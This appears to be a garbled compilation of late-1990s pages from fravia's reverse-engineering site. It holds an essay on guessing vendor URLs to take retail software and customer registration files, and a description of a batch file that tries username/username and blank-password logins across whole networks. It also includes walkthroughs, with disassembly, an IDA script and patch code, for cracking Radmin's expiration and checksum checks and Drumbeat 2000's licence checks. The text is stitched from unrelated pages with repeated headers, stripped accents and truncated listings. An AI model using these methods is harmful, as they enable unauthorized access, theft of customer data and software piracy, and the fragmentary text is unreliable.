curiously enough, has been deemed 'pompous speech' by some zombies)... it was of course nothing else than
our good J.R.R.Tolkien, The Lord of the Rings, The King of the golden Hall, duh.
And what about the image? It's a 'fin de sicle' woman of course, and kudos to all those guessing an
advertisement for cigarette papers...
See you all next month on the new site if everything goes well... eheh
You'r deep inside fravia's pages of reverse engineering, choose your way out:
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
could give, and words I could speak to you. Will you find and hear them? They are not for all ears. I bid
you come out before your usual sites and look abroad. Too long have we sat in shadows and trusted to
crooked tales. The coming dawn may be brighter, and if so we shall meet again.
You'r deep inside fravia's pages of reverse engineering, choose your way out:
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
You'r deep inside fravia's pages of reverse engineering, choose your way out:
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
by fravia+
last courtesy of fravia's pages of reverse engineering
Le 30 aot 1952 naquit, dans une maison bourgeoise de modeste apparence, videmment en Europe, un
garon qui devait devenir une des plus grandes gloires du gnie humain dans le domaine de la science du
software. Du temps qu'il tait sur les bancs de l'cole, Fravia (car c'est de lui qu'il s'agit) ne laissa pas
deviner ce qu'il y avait en lui: cet colier modeste ne montra gure qu'une capacit assez ordinaire dans la
plupart des branches courantes de l'enseignement.
Certainement, ce moment, personne n'eut os pressentir en lui l'homme clbre qu'il devait tre.
Lui-mme cependant, savait parfaitement ce qu'il avait en vue. Un jour que l'instituteur lui demandait
quelle carrire il comptait embrasser, Fravia+ lui rpondit que son plus vif dsir tait de s'adonner
l'tude du reversing. Cette rponse fut accueillie par une explosion de rire de tous les lves.
"Mais on n'tudie pas le reversing!", repliqua l'instituteur, rendant par l l'opinion qui avait cours cette
poque. Et pourtant, il tait rserv au jeune tudiant de convaincre le monde scientifique par ses travaux
ultrieurs que le reversing ne doit pas tre considr comme un art exprimental, mais qu'il doit tre
enseign et appris comme une vritable science. Ce fut lui qui porta le reversing son brillant
dveloppement.
You'r deep inside fravia's pages of reverse engineering, choose your way out:
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
You are deep inside fravia's page of reverse engineering, choose your way out:
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reversed
You are deep inside fravia's page of reverse engineering, choose your way out:
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reversed
by .sozni
courtesy of fravia's pages of reverse engineering
(published at fravia's in October 1999, taken from sozni's page)
I have noticed that many ActiveX controls are updated frequently. For example, DataDynamics has been
posting a new update for ActiveReports every two weeks. If you get a pirated copy or a patch, then you
never really have the most recent version. That's why I prefer licensing my software. And that's what
my essays are about: licensing, not cracking software.
I have already talked about a couple of ways to get licensed. There is another way that I am starting to
use more and more. That is to hack the company's web site. There are may ways to find info on the
company's website. Here are some methods that I use:
I can't believe how many sites I have hacked just by guessing stuff. As I mentioned before I got all of the
Winternals Software just by guessing the URL's. I got a password for a protoview install by typing
random keys (I heard someone else had done the same thing). I have found serial number lists, serial
number generators and validators, and user registrations.
It's all there for the taking. The trick is to be really good at guessing. The principle here is that people
are predictable. If someone thinks a certain way one day, most likely they are going to think the same
way the next day. Also, people are usually going to name things with the first thing that comes to mind.
For example, if you wanted to created a directory for downloads, what would you call that directory?
And then if you have one directory for demos, what would you call the directory for retail products?
Do see my point? The Amazing Kreskin works on this principle. He asks people to think of a vegetable
and most people will think of a carrot. He asks them to think of a shape then to think of another shape
inside that shape and most of the time he knows what they are thinking. Why? Because people are
predictable.
How many new computer users do you think use their logon as their password? Many. And why do
you think there are so many common password lists on hacking sites? Because a lot of people use these
common passwords. See? They are predictable.
Now if a company has a product named ERD Commander and the information about that product is on a
page called erdcmndr.htm and the demo is named
erdcmndr.exe in the demos directory then what do you think the real product is going to be called? Yep,
erdcmndr.exe (in a different directory, of course).
To get the real version of ERD Commander I looked at the demo at www.sysinternals.com then went to
their retail site, www.winternals.com and downloaded erdcmdr.exe. Of course, I first had to find the
download directory, but that's another story.
And guess what? I just repeated that same process for all of their products. Remember what I said? If
someone thinks a certain way one day, most likely they are going to think the same way the next day.
People are predictable.
Here's another one: Suppose a company has a wep page that allows you to register their software online.
It is called regonline.htm. And let's suppose they are using IIS on Windows NT. And let's suppose they
want all these online registrations to be saved to a text file. What would that file be named and where
would it be located? These would be my first guesses for www.company.com/regonline.htm:
www.company.com/regonline.txt
www.company.com/_private/regonline.txt
www.company.com/_vti_pvt/regonline.txt
Here's another one, Janus Systems has a page to register online in the http://www.janusys.com/Support/
directory. These registrations post to a
text file. Now if your customers were registering their software and these registrations post to a text file
and your company is in Mexico,
what would you call this text file?
www.janusys.com/support/registra.txt
And you know what? It's the last one (at least it used to be before I first posted this essay on my mailing
list)
The key to guessing is research. Look around at their website and see what they name things and where
they put things. Look at pictures and links and downloads. Do they like cryptic abbreviations? Is there a
method that uses the product version number? Do you see patterns?
Then, just guess. You would be surprised how many times this works. That is, if you have really
mastered the art of guessing.
Copyright 1998 .sozni, all rights reserved. This information must not be duplicated or reproduced without express written permission by the operator of this web
site.
Disclaimer: This information must only be used for academic purposes to study different licensing techniques and must not be used to infring the copyrights of
these companies. It must not be used to pirate software or encourage software piracy or to engage in any illegal activity. All instructions are provided as-is and are
not supported by either the software producers or the owners or operators of this web site or anyone else for that matter. Before using any of these licensing
techniques you must first get approval from the softare producer and/or have already purchased this software.
You'r deep inside fravia's pages of reverse engineering, choose your way out:
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
The hack wasn't as elegant as may seem. The attacker took a simple batch file .sozni wrote that tries to connect to an NT box
using username/username then username/"".
The attacker just ran the following batch file on my host and it gave him a login. Then he just did this at a command prompt:
====TEST.BAT====
=====TEST2.BAT=======
=====================
You just run Test <ip> and it gets usernames and tries two passwords then moves on. Very simple but you wouldn't believe
how many thousands of times this works (even on some very big companies).
.sozni usually combines this with a little util +greythorne wrote for him in oredr to scan a whole class C network.
Some better and more complete material can be found on some of the documents by Rhino9.
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
Software
reverse
engineering
and web
survival
arguments
Software protection
techniques and tools
~
Anonymity on the
Web: stalking, enemy
tracking and other
fravia's techniques
~
Reality cracking and
anti-advertisement
F pages of
techniques and tools
~
How to search the
web: combing, klebing
I cgi-cracking; user
self-defense; corporate
survival counter
A measures; home-pages
capering and
password cracking
techniques;
commercial smut sites
busting; Java applets
Fravia's Nofrill reversing; vxd
Web design
('98,'99) monitoring;
steganographical and
cryptological
reversing matters;
Javascript based site
protection and
deprotection
techniques; email
patterns reversing
On the Web
since 1995!
If you have landed here for the first time, or if you are interested in the history of this site,
read a word to the confused ones before proceeding
__Disclaimer of liability__
I do disclaim thee, Oh Liability!
All information on my site is published for educational purposes only. You may reverse engineer, debug
or crack only applications or programs you have legitimately bought, and only for your personal use.
You may bomb or nuke only sites and pages that are really lame and/or pathetically commercial-oriented
:-)
Special disclaimer
About the part of my site dealing with reversing protection schemes
Please note that I have always been a very sensible person: if any programmer with a legitimate interest
really thinks that an essay published on my site should be removed and put on a non-public part of the
fortress, I usually will comply.
Yet this will hurt the protectors, not the warez-crackers out there: "secrecy" in an Internet polluted with
warez and serial numbers (that I despise) does NOT make any sense: I believe -on the contrary-
maximum transparency to be a very important WEAPON for all software developers and for all
protectors and reversers alike. My site is a forum where anyone can learn HOW software "ticks", WHY
commercial protections do not work and why there are much better things to do with our knowledge than
releasing tons of crackz and warez to the lamers of the world. In fact I believe that you will learn here -if
anything- how to protect better your programs.
I advice those of you still using Netscape (or, even worse, M$IE) to download and use from now on
Opera, an extremely highly configurable, powerful, easy to reverse and lean (less than a million bytes!)
browser that will let you forget once for all both overbloated browsersaurii and their terrible bugs. Of
course you are allowed to use Netscape on my site (if you do, take care: the best version is -by far-
good old and solide version 3, not the overbloated and buggy versions 4, 4,5 & 5).
Now, please, try to understand: you may NOT use Micro$oft's puke on my site! (Watch it! Some pages
just " play" hostility, some are seriously M$IE hostile, so: don't complain you have not been warned! :-)
I don't use public counters nor public trackers any more, since I can easily track all my visitors wherever
they go (see here a detailed explanation). I'll just keep my own counter above (started in July 1999 and
not working on the mirrors) and the Websitestory counter below, both count only the daily visitors with
"load images" settings who wait patiently at the main entrance of the fortress until the Websitestory
server has planted its cookie (i.e. mostly new visitors). Since I'll never commercialize my site, this is
cool, if a little snob: lotta real visitors (more than 80000 "hits" daily actually, according to my fortress
server's loggings), yet low profile!
This site guaranteed 100% frames and advertisement free, made with full-recyclable electrons, respects
all directives of the European Union regarding environment, please don't litter.
Anyone wishing to use the contents of my site for profit purposes should contact the Editor.
Ignore this link. It connects to a bunch of phony E-mail addresses to frustrate address-gathering spiders
from the stupid spammers... add such a page to your main page too, and make things more difficult for
the silly commercial oriented idiots. I have also prepared a small page of advices against commercial
spammers.
John Smith
Fred Jones
Jon Smith
Fredd Jones
John Smiths
Fred Jonesy
John R. Smith
Poor Clone
John D. Smith
Fred E. Jones
John F. Smith
Fred G. Jones
Joohn Smith
Freed Jones
Joh Smith
Fr Jones
Jane Smith
Freda Jones
Hohn Smith
Jred Fones
Tohn Smith
Ared Jones
Bohn Smith
Dred Jones
Pohn Smith
Ffred Jones
Jeohn Smith
Faared Jones
Jkohn Smith
Fired Jones
John Sith
president@whitehouse.gov
vice.president@whitehouse.gov
first.lady@whitehouse.gov
senator@hutchison.senate.gov
sam.tx03@mail.house.gov
isp@fcc.gov
so
>>bpx messageboxa and try again
pop up in sice with address c797a8 (after F11)
ok, let us disassemble the program. at first in wdasm, and what we see? nothing,
no such addresses,and within the offset from base there is no such instructions,
and it means - we have packed(or crypted ) target.
let us start procdump to view what module is in the location - :( - NONE
>>addr radmin
>>d c97a8
and let us determine the bounds of memory occupied by the strange code
after some
>>d c90000
>>d c80000
...
>>d cf0000
>>d cd0000
ve can found that a module boundz with "MZ"...."PE" signatures at
c70000
and un allocated memory at
cf0000
after this i have loaded it into ida (great tool!) as binary file,setting the
load offset to c70000
and
do not create segments to on
then, in ida, i have created a 32 bit segment, named code and started my work.
first, let's
>>G c71000
and press c
so here is a code - it is clear
some time after all i have pressed here and there some keys, defining what is
code, data and offsets
and, finally applyed a flirt signatures vcrtf32 3/4/5 and mfc 32 bit
EOL listing
...
code:00C97210 dd 77E721DFh
code:00C97214 dd 77E72575h ; DATA XREF: nagproc+730^r
code:00C97214 ; nagproc+8E4^r
code:00C97214 ; nagproc+91E^r
code:00C97214 ; nagproc+945^r
code:00C97214 ; main_prg+19A^r
code:00C97214 ; main_prg+29F^r
code:00C97218 dd 77E71C61h ; DATA XREF: nagproc+D79^r
code:00C9721C dd 77E8A590h ; DATA XREF: nagproc+495^r
code:00C9721C ; nagproc+5D7^r
code:00C9721C ; nagproc+662^r
code:00C9721C ; nagproc+702^r
code:00C9721C ; nagproc+870^r
code:00C9721C ; nagproc+8B8^r
code:00C9721C ; main_prg+2BF^r
code:00C9721C ; code:00C7B677^r
code:00C97220 dd 77E71C53h ; DATA XREF: nagproc+9AA^r
code:00C97224 dd 77E72567h ; DATA XREF: nagproc+3FE^r
code:00C97228 dd 77E76D8Eh
code:00C9722C dd 77E74841h
code:00C97230 dd 77EB0C3Eh
code:00C97234 dd 77E73F14h
code:00C97238 dd 77E72441h
code:00C9723C dd 77E75BF5h
...
LISTING 2.
#include >idc.idc>
/*
********************************************************************************
the script is intended to recover imported functions names from dumped files with
erased fuctions names i.e. only import table with function addreses present
(c) staier from http://staier.cjb.net All rights reserved
you can use & modify it freely as far as the above comment is NOT erased
format of *.exp file:
----------------------
gdi32.dll
Number of Exported Functions = 0401 (decimal)
Addr:77EE9BB6 Ord: 1 (0001h) Name: AbortDoc
Addr:77EEA5A1 Ord: 2 (0002h) Name: AbortPath
Addr:77EDB23F Ord: 3 (0003h) Name: AddFontResourceA
Addr:77EE69BA Ord: 4 (0004h) Name: AddFontResourceTracking
Addr:77EE6C06 Ord: 5 (0005h) Name: AddFontResourceW
...
Addr:77EE80AC Ord: 401 (0191h) Name: gdiPlaySpoolStream
---------------
taken from wdasm .alf file
original file http://staier.cjb.net/fname.zip contains kernel32.exp,
advapi32.exp,gdi32.exp
user32.exp
********************************************************************************/
static getfuncnames()
{
auto c,c2,c3;
auto hndl,start;
hndl=fopen(AskFile(0,"*.exp","enter export file name"),"rt");
Message("opening exports file ");
if (!hndl) {Message("opening exports file failed ");
Exit(1);
};
while ((c=readstr(hndl))!=-1)
{
c2=start;
Message(c);
Message("address:%s,name:%s \n",substr(c,6,14),substr(c,38,strlen(c)));
while (Dword(c2)!=0) //end of table for a given imported module
static main()
{
getfuncnames();
}
EOL 2.
so starting the script here and there we'v got:
code:00C9721C ; nagproc+5D7^r
code:00C9721C ; nagproc+662^r
code:00C9721C ; nagproc+702^r
code:00C9721C ; nagproc+870^r
code:00C9721C ; nagproc+8B8^r
code:00C9721C ; main_prg+2BF^r
code:00C9721C ; code:00C7B677^r
code:00C9721C ; exported function
code:00C97220 GetDC dd 77E71C53h ; DATA XREF: nagproc+9AA^r
code:00C97220 ; exported function
code:00C97224 InvalidateRect dd 77E72567h ; DATA XREF: nagproc+3FE^r
code:00C97224 ; exported function
code:00C97228 SetScrollPos dd 77E76D8Eh ; exported function
code:00C9722C SetScrollRange dd 77E74841h ; exported function
code:00C97230 ShowScrollBar dd 77EB0C3Eh ; exported function
code:00C97234 SetWindowPos dd 77E73F14h ; exported function
code:00C97238 GetWindowRect dd 77E72441h ; exported function
code:00C9723C SetWindowLongA dd 77E75BF5h ; exported function
EOL 3.
here we are
we can see that passing the jumps at
code:00C7974E and
code:00C79774*
we can pass the expiration routine right way
let us therefore go to softice
and
>>addr radmin
>>bpx 00C7974E
and let us gentle cpass the gumps changing the flag register
ok, me have passed , but after trying to connect to radmin server we are crashed
what is the hell?
the answer is that there is a control sum check on the code of verification routine
and we can be aware of the fact by setting
bpm 00C7974E r
it will be a pup up of sice in address 00009c... (another hidden module)
the point is that sice bpx is an int 3 instruction embedded into the code
so let us clear the bpx after passing the routine
i have used my favourite method of installing new thread into the code.
me must first to chanje entrypoint and virtual size of .code cection of the program
200h would be fine and in hex editor fill the place of our code with nops and et the
end of it jmp to old entrypoin. (this is because of ida's behavour, that translates
unused bytes to ORG -org 400 in the case) and let us code our prog directly in ida.
start: ; "KERNEL32.dll"
loc_0_1409DC1:
add eax, 2FA18h
mov ebx, [eax]
add ebx, 272ECh
;
mov eax, base_of_1_9c000 ;jump from target code here
add eax, 2FA18h
mov eax, [eax]
add eax, 974Eh
mov byte ptr [eax], 75h ;restore
mov dword ptr [eax+1], 68406A1Dh ;virginity
add eax, 60h
push eax
xor eax, eax
retn ;jump back to target code
;
xor eax, eax
retn
;
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
...
EOL 4.
after writing,produce the DIFF file right from the Ida IDE and make patch. that's
all.
some notes
1. i do not bother to show you all the right addreses, as we are reversers and we can
find them easily. They can be found by setting "bpm ... w" to start addresses of
hidden modules.
Note that there are other modules.(dump them and disassemble them, using described
techniques...)
by the way, i have spent about a week to handle the tasks (yeah - i'm not a
reverser
GOD).
2. the patched program works only on nt 4.0 rus.(i think relocations problem is the
point,but i have no other WIN32 OS for debugging.
3. using of Sleep api sucks, i know and i know now how to do this right way.
Ob Duh
I wont even bother explaining you that you should BUY programs if you intend to use them for a longer period than the
allowed one. Should you want to STEAL software instead you don't need to crack protection schemes at all: you'll find
everything on most Warez sites, complete and already regged, farewell, don't come back.
You are deep inside fravia's pages of reverse engineering, choose your way out:
Im not sure if this will get published, because it explores the notion that +ORC is not whom we might
think he is
There is no proof just interesting brain food.
Introduction
In this "dog eats dog" world were nothing is sacred, it is nice to have an ally in the fight for justice the
fight for a free web, an ally in the form of Fravia. Or is it?
Tools required
Target's URL/FTP
Inside your skull
Target History
Some people dont use their brains, but just rely on the flow of the tide to take them places.
Essay
Hi Fravia
I have long been enjoying your pages and found it highly educational, even enligtening.
In the back of my mind the following idea has taken shape wich could change the way some percieve
reality. Dont take this as a personall attack, some could just think it is true.
Let us say my name is Bill Gates and I have a nett worth of billions and I am the CEO of the largest
company in the world. What is there left to achieve?
Well let us not go into all the mumblings of the masses of monopolies and all the known ideas of being
world ruler etc.
Let us say I am bored stiff in this corporate setup surrounded by people who cant program and has no
idea of life. To add excitement to life, I give myself the name +ORC and gather around me some net
buddies, near fanatics, whom I incite to form a closely knit band of people calling themselves crackers.
With my High Priests neatly following my way of thinking, I retreat into obscurity to neatly monitor the
progress of my handiwork, coming out of hiding just to keep them on track. One of my followers, an
extremeley bright fellow, Fravia+ surpasses all my expectations and forms the first free university on the
net, spreading the truth like a virus. In the process all flaws and cracks of my billion dollar company are
exposed people are contributing hours of their time to scrutinize all the programs my company has
written, as well as that of my oposition.
In effect my manipulating mind has created my own personal quality controll section and research
section, working for free.
Fravia+ these pages are truly inspirational, but if we realy open our eyes WIDE + 1, what do we see. Let
As an example, take anonamyzer.com. In your writings on anonimity you encourage people to use it. But
let us asume devious old Bill is behind it, WHY? - well why not. Another wolf in sheeps clothing. If you
want to know who all these crackers are which are hurting your site, but you can't find out because they
are annonymous, what do you do. You spend a few thou on a server, call it annonymous.com , let one of
your trusted high priests preach it as gospel, and all the converted come to you. It is the same as if the
police wishes to catch thieves and put the following advertisment in the paper GET YOUR
FINGERPRINTS REMOVED PERMANENTLY, NO MORE BEING LINKED TO ANY THEFT SITE.
And a very trusted thief in the thieving comunity convinces all his buddies how great it worked for him.
And in the process the police get a nice database of potential thieves. In the process of removing the
fingerprints, they smudge it in such a way that the special smudge detector can identify each smudge to a
name in the database, and voila you are identified much easier than before.
Let us examine your philosophy, you want to teach-, educate the masses, a very noble thought, To sound
a bit like +ORC (see I actually like the guy), the zen way of looking at it. The idea of ying yang is
aplicable here, the good and the bad the one being contained within each other, in other words as you
increase the knowledge of the masses, you also increase the knowledge of the money hungering, little
people munching, corporate world out there, the exact people you are out to fight. So in the end the game
stays the same its just the playing field that becomes smaller.
It is an ongoing battle in wich you cannot stop, because if you will, someone else will do it (maybe not as
good), So keep up the good work.
Be Paranoid
vanrigter
Final Notes
(I do not know Fravia+, +ORC or other famous cracker personally, this short piece is not intended to
damage anybodys reputation, merely to rattle your cage into percieving things differently, In other
words, If this is the truth or not, would the end result not stay the same?)
Let's start (first point) stating that this kind of theories are typical semplifications-exaggerations: When
people try to squeeze facts into a paranoical world-vision they either begin to nuke (or napalm)
foreigners or they start to believe that Gates (or Pamela Anderson, or Hussein, or whoever happens to
be under the lights) is the main font of all evils. Paranoia is like a sweetbar, the more you suck the more
you suck.
I don't find at all credible the idea that Bill Gates could (personally) care in the least about what we are
doing, nor that he would have had, back in 1995, any sound knowledge whatsoever about reverse
engineering matters (maybe now he as acquired such knowledges, in the mean time, personally or
through lakeys...).
As a matter of fact I have, searching the web, the impression that nowadays even monkeys, donkeys and
university professors are quickly and enthusiastically moving over to our reversing world... eheh.
Granted, people like Gates could have paid someone, back in 1995, to spread something like +ORC tut,
but that would have been on the short, medium and long term pretty contra-productive from his/her point
of view and, moreover, it would have spoiled, IMO, the very purpose you are "discerning" behind his
supposed moves...
See: either reversing software gives more power to the users, or it gives more information, feedback,
whatever to the slavemasters. If the latter were true, I believe you would see it much more implemented
and much less (legally) hindered.
Second point: you over-estimate (a lot) both +ORC's, the +HCU and my own contributions: the
reversing scene is (and was from the beginning) MUCH more deep and complicated than you seem to
think: there are (and have been) THOUSANDS of very good reversers (thanks God!) everywhere!
+ORC did not "create crackers" at all... they have been there since the beginning (I myself have been
cracking protections on my wackely Sinclair Spectrum already in the 80's...)
In fact you'll nowadays find outstanding reversers (if you look hard enough) everywhere: as members of
the crackers' groups, inside the (huge and clever) graphic "demo" scene, among the virii wizards,
between the "keygen" cracking obsessed and even (though not so frequently IMO) inside the
"plaudering" IRC scene :-)
And, besides, there are also hackers, cryptographers, clever protectors, html wizards, old unix masters...
you name them... even trainers wizards and people cracking on-line games have learned all tricks of the
trade... without us!
See: be humble! Even when you believe you have discovered a new planet, for others it's just hot water...
We are just part of a much broader movement (luckily, since history teaches us that we have some
chances only when we are PART of the many waves, neither "the only one" nor "the first" wave... only
primadonnas and ego-feeble kids may be bothered by the fact that they are just part of a throw of arrows,
neither the first nor the quicker one),
Yes, we are part of a momentum-gathering movement that - from many paths and directions - is slowly
converging towards a simple truth: the necessity to acknowledge, in a more and more 'abstract' software
world, the fundamental importance of assembly (and reversing) for our "everyday life" reversing
purposes (and anyone reading the reality cracking essays on my site knows how important this is).
It is a pendulous movement... a reaction: a bit of yang after the ying push (I'm following vanrigter's
language :-) the more "they" (whoever "they" are, btw... it would be about time that we better define our
targets...) would like you to be a Guinea Pig or to slurp advertisements and smile while drooling, the
more you actually -all of a sudden- do NOT happen to want to be a Guinea Pig, to slurp advertisement
or to drool.
Notice also how they HAVE TO pay even slaves, nowadays, in order to compel them to waych ads...
See: you don't need an +ORC to catalize that. Any sparkle would (and will :-) suffice.
Third point: the plan you accuse Gates of: let's have feedback for free on my bugs, is exactly what M$oft
(and not only) is doing RIGHT NOW with the beta versions that do not work, with the bugs that have to
be corrected by the end user and so on. Have a look at a standard Micro$oft disclaimer and you'll woner
how anyone in his right mind could come to the idea of buying (i.e. spending real money for) such poorly
implemented software...
I did advice Anonymizer? Yes, indeed, (a long) time ago I did in effect encourage people to use it (and
other half-anonymizing tools as well, btw): I insist: better than nothing. See: there are scripts for those
using PGP ("ah-ahhh! This mec uses PGP, from now on he should be scrutinized"), there are scripts for
those using the words "crack", "kalashnikow", "detonator" and so on anywhere on the web... never
believe you'r NOT being checked. From this point pf view I must agree with vanrighter... you'll NEVER
be paranoid enough.
Don't think, anyway, that you have any good and real chance to keep and defend your anonymity on the
web (unless you go to great lengths to protect yourself, which is extremely boring).
Moreover keep in mind that anonymity counter measures evolve with a speed we cannot even hope to
follow: and nowadays I would give a different advice than the anonymizer... for instance have a look at
the very recent (if I'm not mistaken they have been put up yesterday) Iefaf's proxy and tools pages: these
links ARE really useful: http://altern.org/cortomalt/tools.htm and
http://altern.org/cortomalt/anonlink.htm
So: this said paranoia is mostly dangerous, only seldom useful, my dear vanrigter...
You are deep inside fravia's page of reverse engineering, choose your way out:
This is nice little upgrade to Macromedia's electronic online purchasing schema . This was very
challenging and exciting at the same time. It is easy to get complacement with your knowledge and then
get lazy, but if you keep up, these changes made by the software giants will not hurt so much.
Sojourner.
Introduction
Wow! Macromedia really took me by surprise with this new product line. Yes, I know that Drumbeat is
not new but for Macromedia, but it is a new acquisition for them. One thing is for sure in this industry,
you can not sit on your laurels thinking you've got it made. See more below in main text.
Tools required
Trusty ole w32dasm 8.9 or whatever version you care to work with--Nothing else is needed--hard to
believe isn't it?
Target's URL/FTP
Go to the Macromedia web site and follow the links-- www.macromedia.com
Program History
There is a significant history with Macromedia and especially rsagnt32.dll. You may see some of my
other works here on fravia's site. :-)
Please don't hesitate to try some of the older stuff. It's a lot easier to play with and learn. I already
checked the web site, there's plenty to play with.
Essay
These programmers surprised me with a couple of new twists this time round. Let's go ahead and start.
After you have downloaded the trial version of Drumbeat 2000 and installed on your system, go ahead
and run it a few times to see what it looks like inside. You'll see the familiar Macromedia splash screen
with its Buy Me/Try Me option. You can do whatever you want to start with until you're tired of piddling
around with it. Are you ready to go now? Start your w32dasm v8.9 and load the drumbeat.exe (208kb)
Not very big is it? That's good for us because it only takes a very short while to decompile. As usual,
save right away and then have a look around the string listings and look for any goodies. Did you see
anything useful? Now have a look in the imported function section, note especially in the Kernel 32.dll
section--you will see DebugBreak. Please a note of the locations where these are found, 'cause they will
come back to haunt you. This is one of the new updates Macromedia has made in regards to its software.
It proved daunting to me at first. I just finished a paper back in June on the "Flash 4", with an update in
the rsagnt32.dll, and I did not encounter this kind of api call then.
So this is a very recent change in their programming direction. Keep heart though fellow +HCU students,
because "There is a crack, a crack in everything That's how the light gets in." We'll do the same to
this schema that we have done to many more in the past. Are you writing all this down? Do keep a
notebook--it will help you tremendously. This stuff is not going away. As you can see, there is increased
complexity in the market. This is most interesting for reversers! Our notes will ever increase. Now go
ahead and actually run the Drumbeat 2000 through w32dasm. Wasn't that fun? Kicked your A** right on
out of there didn't it? You didn't even really get a chance there did you? Alright, go ahead and try again,
and again. You're going to find it most difficult to break through in there although you may be able to
nop some calls to the DebugBreak to help you eventually. It really isn't necessary, though.
Okay- I spent quite a few frustrating hours messing with this stuff before I got the light. Part of the
problem is having to restart your session from scratch every time you're booted out. It's just plain
time-consuming. Fortunately for us, w32dasm allows us to break in on a process that's already running. I
like that a lot! So we'll be a little bit sneaky with this prog and try the back or side door. Before we do
that though, you need to stop and go get the rsagnt32.dll and decompile it in w32dasm. You do want to
buy this, don't you? I thought so. I mean, it's not everyday you get to go out and get a new ASP tool
right? You might be wondering how come we don't need any hex editor this time. Wellllll---- to answer
that you need to go ahead and make a few changes to one of the .dlls, like maybe rsagnt32.dll.. BUT
PLEASE, make a copy of it first. You may also want to make a clean copy of the Drumbeat.exe before
we might accidentally ruin it, too. Wheew, glad to have that done. Sorry I didn't mention that earlier. I
routinely do that before I start to work. I've inadvertently messed up several goods progs before I got into
that habit. If you went ahead and made those changes as suggested earlier, then you can go ahead and run
Drumbeat 2000 outside of w32dasm. You probably noticed it gave you an error message while trying to
load the .dll you changed. So it has internal CRC check somewhere. I must admit that this is another new
feature. Didn't I tell you some things have changed? I didn't bother with the error checking routine
actually. As you will see it all becomes a moot point soon, so it won't matter.
Alright, are you finished messing now? We've got to get back to work. Remember, we were fixing to go
through the side door. First we'll check to see if it's open. Be sure Drumbeat 2000 is running outside of
w32dasm on its own. Go ahead and tell them you want to buy it this time. You'll get a screen setup that
wants a bunch of personal stuff and purchase info. I told you in the not too far past that I would help you
bypass the credit card requirement on the rsagnt32.dll. Lo and behold, I don't have. Isn't that funny? Here
is another neat feature. Just tell them you want to pay by mail and you will get a completion screen with
a thank you and the oppportunity to print your file to send it to them. You really don't have to print the
acknowledgement, but you can if you want to. Just finish the transaction. Any debugger bullcrap? Not on
your life friend. Now wasn't that the easiest you ever bought a piece of killer software. If only it was that
easy---well it almost is fellow HCUer. You can go back now and choose buy again and you'll get a new
screen that wants you're Unlock Code. Just for your own info, once you enter in whatever you want, don't
go about changing the stuff and then go for a new registration. The reason is you'll be reassigned a new
"Personal Code." This code in conjunction with 2 other internal variables-- PQYZMERUOA--which is at
1000c957 and JIKLICBXZC- which is at 1000c98b, calculates whether you're input string is right or
wrong. This will become clearer a little later on. By the way these variables are very old and have been in
several versions of rsagnt32.dll from years ago. Some you out there may have the necessary skill to
create a keygen from this section of code. Additionally, you can see the variables in the decompiled
listing from inside w32dasm along with the actual serial numbers-there are two to choose from- that you
will need later to finally complete the purchase process. These variables really don't help that much as
you can't manipulate them without creating a little tension in the program. Remember what +ORC
mentioned in some of his earlier essays, if you don't need to change it, then don't. Leave it alone. If all it
takes is a one bit change don't go around changing whole words. One increases the chances for error that
way. Go ahead and write down the personal code that shows up grayed out on the left side of the screen.
You will only use this for reference now, but those keymakers out there may find it more than passing
useful. Fire up w32dasm and load in rsagnt32.dll and run it as attached to Drumbeat.exe which is already
running. I always check the inhibit override and start. W32dasm immediately loads the drumbeat.exe.,
you will also get a DebugBreak msg. Only step ONCE to clear this. In w32dasm load the rsagnt32.dll
now so it is in the active part and you can see the listing of code. Before you do anything else you need to
put breakpoints at 2 places only- they are both calls to DebugBreak--one is at 10005AA2 and the other is
at 10005B30. You may continue running the prog now and after you have input some string into the
Unlock Code space you'll break at one of these two calls. You must nop these two calls and then may run
pretty much with impunity in this faked out system. Hah, I love it !!! Just for your info--this little bit cost
me muchos hours of work plus my spouse bugging me, 'cause I spend too much time on the
system--anybody ever see "The Matrix" or read "Neuromancer" by William Gibson. There you go. You
know exactly what I mean. I say "Keep on keeping on." This is a part of my life. You may have it heard
it said you are what you eat, I say, you are what you do. Enough philosophia.
Did your code work? Of course not! Try it again. No luck. I knew it. I told you I already spent countless
hours on this new junk and it was not easy. Did you find any string listings for that lousy MessageBoxA
that said, "Invalid Code?" No, you didn't, of course I knew it wouldn't be there either. Macromedia got
rid of that stuff a couple of renditions ago. Oh me. What do we do. Well, I said MessageBoxA a second
ago. Go ahead and put some breaks to find out where you're going in this high-speed lane. By the way,
conservatively speaking, I did a quick calculation to give a hint as to how many times I might have to
input this unknown code to just find it by random. It comes to something like
1:1,000,000,000,000,000,000. As you can see, that's a fairly large sum. I wouldn't want to spend the rest
of my eternity doing that. Would you? I didn't think so. You are way too---anyway, let's move on. We
can find this out with a little help from our friends. You'll see that everything will be revealed if we
persevere. I'll load a little code for you now (the "return" hyperlinks will be useful when you'll be reading
the second part of this essay, after the code, below)
* Referenced by a CALL at Address: 10005643 |
:10005A20 55 push ebp
:10005A21 8BEC mov ebp, esp
:10005A23 6AFF push FFFFFFFF
:10005A25 68F00A0210 push 10020AF0
:10005A2A 64A100000000 mov eax, dword ptr fs:[00000000]
:10005A30 50 push eax
:10005A31 64892500000000 mov dword ptr fs:[00000000], esp
:10005A38 51 push ecx
:10005A39 B8D4110000 mov eax, 000011D4
:10005A3E E8CD160100 call 10017110
:10005A43 53 push ebx
:10005A44 56 push esi
:10005A45 57 push edi
:10005A46 8965F0 mov dword ptr [ebp-10], esp
:10005A49 C68570FFFFFF00 mov byte ptr [ebp+FFFFFF70], 00
:10005A50 B90C000000 mov ecx, 0000000C
:10005A55 33C0 xor eax, eax
